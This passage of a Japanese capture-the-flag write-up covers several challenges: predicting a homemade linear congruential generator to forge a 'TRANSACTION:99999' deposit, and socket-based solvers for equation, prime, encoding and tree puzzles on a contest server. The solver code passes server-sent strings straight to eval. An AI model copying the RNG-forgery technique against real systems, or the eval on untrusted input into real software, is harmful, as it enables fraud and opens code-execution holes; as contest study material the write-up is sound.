	t = transactions[p]
	myrand.init(t)
	for i in xrange(len(s)):
		s[i] ^= myrand.get() % 256

	if(not "TRANSACTION" in pt):
		return None
	a = int(pt.replace("TRANSACTION:",""))
	Account.addmoney(a)

みたいなことをする、といった感じ。
myrandは、自作の線形合同法乱数生成機だった。

cerate時には、
t は予測不能、知ることもできない
m はある程度任意の整数が選べる
s は分かる

といった感じなので、sからmyrand.init(t)がどういう乱数列を返すのかが分かり、
myrandが線形合同法なので、得られた乱数列からその後どういう乱数が得られるのかが予測できる。(この問題を解くにはここまでしなくてもよかったらしいが)

よって、create(1)とかをしたあと、そこから得られた乱数列に従って、元に戻すと
"TRANSACTION:99999" になるような文字列を送りつける、と、
99999が入金される。
ので、これを11回繰り返してやればよい。

code50

code系は、全て、向こうのサーバで問題が動いてるのでそれを解け、みたいなの。

7 + X = 28

みたいな問題が飛んでくるので、方程式の解を返す問題。
Xを-5000から5000くらいまで試して、
左辺と右辺をevalして等しければOK,みたいなことをやっていた。

import socket
import re
import random
import time

cre = re.compile(r':.*')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('188.166.133.53', 11027))
s = sock.recv(1024)

for i in xrange(1000):
	print s
	s = sock.recv(1024)
	print s
	ts = cre.findall(s)[0][1:].split('=')
	print ts
	
	ans = -1
	for tx in xrange(10000):
		x = tx-5000
		if eval(ts[0]) == eval(ts[1]):
			ans = x
			break

	print "ans .. " , ans
	
	s = sock.send(str(ans) + "\n")
	time.sleep(0.1)
	s = sock.recv(20)

code60

与えられた数より大きな最初の素数を返せ、という問題。
ミラー–ラビン素数判定法 - Wikipedia
を使えばよい。

code70

    def encode(self, eq):
        out = []
        for c in eq:
            q = bin(self._xor(ord(c),(2<<4))).lstrip("0b")
            q = "0" * ((2<<2)-len(q)) + q
            out.append(q)
        b = ''.join(out)
        pr = []
        for x in range(0,len(b),2):
            c = chr(int(b[x:x+2],2)+51)
            pr.append(c)
        s = '.'.join(pr)
        return s

というのが与えられて、これを用いてencodeしたと思しき文字列が飛んでくる、
ので、

def decode(s):
	t = map(lambda x: int(x,10)-3, s.split('.'))
	print t
	ls = len(t)
	
	res  =""
	for i in xrange(ls/4):
		p = 0
		for j in xrange(4):
			p *= 4
			p += t[i*4+j]
		
		c = xor(p,(2<<4))
		res += chr(c)
	
	return res


というのを作ってやって、decodeすると、code50の問題みたいな文字列が得られる。
code50のソルバを通して、答えをそのまま投げる……と、Wrongと返ってくる。
しばらくの試行錯誤の後、答えをencodeして投げればよいと分かる。(ちとエスパーかな)

code90

めちゃエスパー問だと思っている。闇。
なんか、二分木だのinvertだの、出てくる。問題文が読めない。木なのか森なのか判然してくれ。
そもそもLevel1に対して何を返せばよいのか分からなかった。
(1つの数字なのか、配列なのか。配列なら、フォーマットは数字をスペースで並べたものか、カンマで区切って括弧で囲えばいいのか)

与えられた配列pに対して、

def inv(p):
	if len(p)==0:
		return []
	h  = p[0]
	r,l = [],[]
	p = p[1:]
	for x in p:
		if x>h:
			l.append(x)
		else:
			r.append(x)
	return ([h] + inv(l) + inv(r))

をかけたのを返せばよいと分かったのは夜も遅くなってからだった。
エスパーはもうこりごり。